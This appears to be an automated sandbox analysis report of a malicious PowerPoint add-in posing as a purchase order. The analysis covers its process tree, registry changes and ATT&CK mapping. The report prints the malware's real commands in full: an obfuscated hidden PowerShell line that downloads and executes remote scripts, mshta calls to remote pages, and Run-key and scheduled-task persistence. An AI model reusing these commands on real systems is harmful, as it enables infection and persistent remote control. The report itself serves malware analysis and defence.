66a3e3be3b63626de046621d447103e0978f5b24d3de0f412230ed6c2bfd6e28

General

Target

PO-20102021,pdf.ppam
Size

8KB
MD5

3471cb088d588150df6e37e2200afbf9
SHA1

90d89c9f5aaaae4c067f179651066303bc83f452
SHA256

66a3e3be3b63626de046621d447103e0978f5b24d3de0f412230ed6c2bfd6e28
SHA512

f01dc429d369a8502320775bf7b8fd7d56e8790ef2b91bfeea0b65fa5abf69f57a13f05493ccedb6606152682307f748b88879bc4afbe304c1e04a83cb017fb6

Score

10^/10

persistence

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process	336	1148	mshta.exe	POWERPNT.EXE

Blocklisted process makes network request 15 IoCs

Processes:

mshta.exe

flow	pid	process
5	336	mshta.exe
7	336	mshta.exe
9	336	mshta.exe
11	336	mshta.exe
13	336	mshta.exe
15	336	mshta.exe
16	336	mshta.exe
18	336	mshta.exe
20	336	mshta.exe
21	336	mshta.exe
23	336	mshta.exe
26	336	mshta.exe
27	336	mshta.exe
28	336	mshta.exe
30	336	mshta.exe

Adds Run key to start application 2 TTPs 5 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Windows\CurrentVersion\Run\Cleanreasdasdddsults = "\"MsHta\"\"http://1230948%[email protected]/p/6.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Windows\CurrentVersion\Run\takeCare = "pOweRshell.exe -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_67566eeb47104ffcb45eb2d55a0630a7.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_80df20c857fc425bb4e96cfc21421a37.txt').GetResponse().GetResponseStream()).ReadToend());"	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Windows\CurrentVersion\Run	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Windows\CurrentVersion\Run\SAFEsounkkkd = "\"MsHta\"\"http://1230948%[email protected]/p/6.html\""	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Windows\CurrentVersion\Run\Milalaasdasdlalal = "\"MsHta\"\"http://1230948%[email protected]/p/6.html\""	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1972 schtasks.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

1908 taskkill.exe
1760 taskkill.exe

pid	process
1972	schtasks.exe

pid	process
1908	taskkill.exe
1760	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

T1112

Processes:

POWERPNT.EXEmshta.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Toolbar	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	POWERPNT.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 64 IoCs

Processes:

POWERPNT.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D0-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A53-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493464-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493474-5A91-11CF-8700-00AA0060263B}\ = "HeadersFooters"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493485-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493488-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493497-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934B9-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A63-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345D-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493489-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D8-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A76-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493461-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149346A-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149347F-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493484-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493495-5A91-11CF-8700-00AA0060263B}\ = "Font"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CE-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E556-4FF5-48F4-8215-5505F990966F}\ = "MediaBookmarks"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345B-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6A-F07E-4CA4-AF6F-BEF486AA4E6F}	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493472-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493478-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CB-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345E-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934B9-5A91-11CF-8700-00AA0060263B}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C3-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E4-5A91-11CF-8700-00AA0060263B}\ = "AnimationBehavior"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A53-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493466-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C6-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DD-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6C-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A72-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A79-F07E-4CA4-AF6F-BEF486AA4E6F}\TypeLib\ = "{91493440-5A91-11CF-8700-00AA0060263B}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BA72E551-4FF5-48F4-8215-5505F990966F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493453-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934C9-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934CE-5A91-11CF-8700-00AA0060263B}\ = "WebOptions"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934E5-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EC-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934F1-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345D-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493462-5A91-11CF-8700-00AA0060263B}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149348A-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934EA-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493475-5A91-11CF-8700-00AA0060263B}\ = "Shapes"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493481-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493488-5A91-11CF-8700-00AA0060263B}\ = "OLEFormat"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934DF-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A68-F07E-4CA4-AF6F-BEF486AA4E6F}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{92D41A6E-F07E-4CA4-AF6F-BEF486AA4E6F}\ = "Legend"	POWERPNT.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9149345C-5A91-11CF-8700-00AA0060263B}\TypeLib	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493482-5A91-11CF-8700-00AA0060263B}\TypeLib\Version = "2.a"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{91493493-5A91-11CF-8700-00AA0060263B}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}"	POWERPNT.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{914934D5-5A91-11CF-8700-00AA0060263B}\ = "Comment"	POWERPNT.EXE
Key created	\REGISTRY\USER\S-1-5-21-2955169046-2371869340-1800780948-1000_CLASSES\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}	POWERPNT.EXE

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

1148 POWERPNT.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1008 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

taskkill.exetaskkill.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1760 taskkill.exe
Token: SeDebugPrivilege 1908 taskkill.exe
Token: SeDebugPrivilege 1008 powershell.exe

pid	process
1148	POWERPNT.EXE

pid	process
1008	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1760	taskkill.exe
Token: SeDebugPrivilege	1908	taskkill.exe
Token: SeDebugPrivilege	1008	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

POWERPNT.EXEmshta.exe

description	pid	process	target process
PID 1148 wrote to memory of 2036	1148	POWERPNT.EXE	splwow64.exe
PID 1148 wrote to memory of 2036	1148	POWERPNT.EXE	splwow64.exe
PID 1148 wrote to memory of 2036	1148	POWERPNT.EXE	splwow64.exe
PID 1148 wrote to memory of 2036	1148	POWERPNT.EXE	splwow64.exe
PID 1148 wrote to memory of 336	1148	POWERPNT.EXE	mshta.exe
PID 1148 wrote to memory of 336	1148	POWERPNT.EXE	mshta.exe
PID 1148 wrote to memory of 336	1148	POWERPNT.EXE	mshta.exe
PID 1148 wrote to memory of 336	1148	POWERPNT.EXE	mshta.exe
PID 336 wrote to memory of 1908	336	mshta.exe	taskkill.exe
PID 336 wrote to memory of 1908	336	mshta.exe	taskkill.exe
PID 336 wrote to memory of 1908	336	mshta.exe	taskkill.exe
PID 336 wrote to memory of 1908	336	mshta.exe	taskkill.exe
PID 336 wrote to memory of 1760	336	mshta.exe	taskkill.exe
PID 336 wrote to memory of 1760	336	mshta.exe	taskkill.exe
PID 336 wrote to memory of 1760	336	mshta.exe	taskkill.exe
PID 336 wrote to memory of 1760	336	mshta.exe	taskkill.exe
PID 336 wrote to memory of 1972	336	mshta.exe	schtasks.exe
PID 336 wrote to memory of 1972	336	mshta.exe	schtasks.exe
PID 336 wrote to memory of 1972	336	mshta.exe	schtasks.exe
PID 336 wrote to memory of 1972	336	mshta.exe	schtasks.exe
PID 336 wrote to memory of 1008	336	mshta.exe	powershell.exe
PID 336 wrote to memory of 1008	336	mshta.exe	powershell.exe
PID 336 wrote to memory of 1008	336	mshta.exe	powershell.exe
PID 336 wrote to memory of 1008	336	mshta.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\PO-20102021,pdf.ppam"
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
PID:1148

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2036

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" https://www.bitly.com/wdowdpowdrufhjwijjd
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:336

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im winword.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1908

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\System32\taskkill.exe" /f /im Excel.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1760

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""Bluefibonashi"" /F /tr ""\""MsHtA""\""http://1230948%[email protected]/p/6.html\""
3⤵
- Creates scheduled task(s)
PID:1972

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_67566eeb47104ffcb45eb2d55a0630a7.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_80df20c857fc425bb4e96cfc21421a37.txt').GetResponse().GetResponseStream()).ReadToend());
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1008

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

3

T1112

Install Root Certificate

1

T1130

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/336-68-0x00000000042D0000-0x00000000042D1000-memory.dmp

Filesize
4KB

Download
memory/336-61-0x0000000000000000-mapping.dmp

Download
memory/1008-66-0x0000000000000000-mapping.dmp

Download
memory/1008-69-0x00000000024F0000-0x000000000313A000-memory.dmp

Filesize
12.3MB

Download
memory/1148-55-0x00000000713D1000-0x00000000713D3000-memory.dmp

Filesize
8KB

Download
memory/1148-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1148-59-0x00000000754A1000-0x00000000754A3000-memory.dmp

Filesize
8KB

Download
memory/1148-60-0x00000000059E0000-0x00000000059E2000-memory.dmp

Filesize
8KB

Download
memory/1148-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1148-54-0x00000000740B1000-0x00000000740B5000-memory.dmp

Filesize
16KB

Download
memory/1760-64-0x0000000000000000-mapping.dmp

Download
memory/1908-63-0x0000000000000000-mapping.dmp

Download
memory/1972-65-0x0000000000000000-mapping.dmp

Download
memory/2036-58-0x000007FEFBD11000-0x000007FEFBD13000-memory.dmp

Filesize
8KB

Download
memory/2036-57-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads